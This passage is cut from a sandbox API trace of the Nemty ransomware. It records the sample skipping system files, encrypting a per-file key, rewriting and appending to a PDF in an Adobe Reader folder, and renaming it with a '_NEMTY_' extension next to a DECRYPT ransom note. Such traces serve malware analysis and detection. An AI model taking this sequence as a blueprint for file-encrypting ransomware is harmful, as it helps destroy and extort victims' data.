(lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0188.785] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0188.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0188.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0188.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404f8 [0188.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0188.786] Sleep (dwMilliseconds=0x5) [0188.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x242c84f0, dwHighDateTime=0x1d561e8)) [0188.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x242c84f0, dwHighDateTime=0x1d561e8)) [0188.789] GetLastError () returned 0x0 [0188.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.789] GetLastError () returned 0x0 [0188.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0188.789] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.789] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.790] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0188.790] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="8JrH2KewAWufzWRSofLANn4l6oJMYCWcbWu9FxEgZGIyFvGsOktw/GYgPqfAMHzk\r\nKS4aXbkiLD4/ZBWSf9DJ+vMW5KGewr56UiZOlGneh9qIVJ3YAkOct5gGs+ZBbL4W\r\nHeRoHp7pvpUxtmv3ctgI0kWl869bv2cN2yC5qfWaTzo+ts51NjqN9u6zJovTKYS7\r\nqKdygALto1JveAjMWrYIxMLpEdJpM5r+v1FiwQ8LrVXr6mc4QeYDqvF0G/EjuR4v\r\nVP6cCeAoE/ri0p2VZjJKvxHbESz0QIVub9ZBCeuS6kFp9h8pRW2lL3ubD9YAdhEX\r\nn6FVvNByb1mMSmLqMYSsrA==\r\n", pcchString=0x653df5c) returned 1 [0188.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0188.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0188.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0188.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.790] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.790] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=97044) returned 1 [0188.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x17b10) returned 0x6352c48 [0188.790] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.790] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x17b10, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x17b10, lpOverlapped=0x0) returned 1 [0188.798] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.798] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x17b10, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x17b10, lpOverlapped=0x0) returned 1 [0188.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.798] SetFilePointer (in: hFile=0x320, lDistanceToMove=97044, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17b14 [0188.798] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.798] CloseHandle (hObject=0x320) returned 1 [0188.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0188.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0188.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0188.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0188.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0188.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0188.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0188.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0188.799] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0188.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0188.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0188.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0188.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.800] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x241e3cb0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x241e3cb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x241e3cb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0188.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0188.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0188.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0188.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0188.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0188.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.801] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x241e3cb0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x241e3cb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x241e3cb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0188.801] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0188.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0188.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0188.801] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="ITA", cAlternateFileName="")) returned 1 [0188.801] lstrcmpiW (lpString1="ITA", lpString2=".") returned 1 [0188.801] lstrcmpiW (lpString1="ITA", lpString2="..") returned 1 [0188.801] lstrcmpiW (lpString1="ITA", lpString2="...") returned 1 [0188.801] lstrcmpiW (lpString1="ITA", lpString2="windows") returned -1 [0188.801] lstrcmpiW (lpString1="ITA", lpString2="$RECYCLE.BIN") returned 1 [0188.801] lstrcmpiW (lpString1="ITA", lpString2="rsa") returned -1 [0188.801] lstrcmpiW (lpString1="ITA", lpString2="NTDETECT.COM") returned -1 [0188.801] lstrcmpiW (lpString1="ITA", lpString2="ntldr") returned -1 [0188.802] lstrcmpiW (lpString1="ITA", lpString2="MSDOS.SYS") returned -1 [0188.802] lstrcmpiW (lpString1="ITA", lpString2="IO.SYS") returned 1 [0188.802] lstrcmpiW (lpString1="ITA", lpString2="boot.ini") returned 1 [0188.802] lstrcmpiW (lpString1="ITA", lpString2="boot.ini") returned 1 [0188.802] lstrcmpiW (lpString1="ITA", lpString2="AUTOEXEC.BAT") returned 1 [0188.802] lstrcmpiW (lpString1="ITA", lpString2="ntuser.dat") returned -1 [0188.802] lstrcmpiW (lpString1="ITA", lpString2="desktop.ini") returned 1 [0188.802] lstrcmpiW (lpString1="ITA", lpString2="CONFIG.SYS") returned 1 [0188.802] lstrcmpiW (lpString1="ITA", lpString2="RECYCLER") returned -1 [0188.802] lstrcmpiW (lpString1="ITA", lpString2="BOOTSECT.BAK") returned 1 [0188.802] lstrcmpiW (lpString1="ITA", lpString2="bootmgr") returned 1 [0188.802] lstrcmpiW (lpString1="ITA", lpString2="programdata") returned -1 [0188.802] lstrcmpiW (lpString1="ITA", lpString2="appdata") returned 1 [0188.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ITA", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ITA", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ITA", lpUsedDefaultChar=0x0) returned 3 [0188.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ITA", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ITA", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ITA", lpUsedDefaultChar=0x0) returned 3 [0188.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0188.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340240 [0188.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0188.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 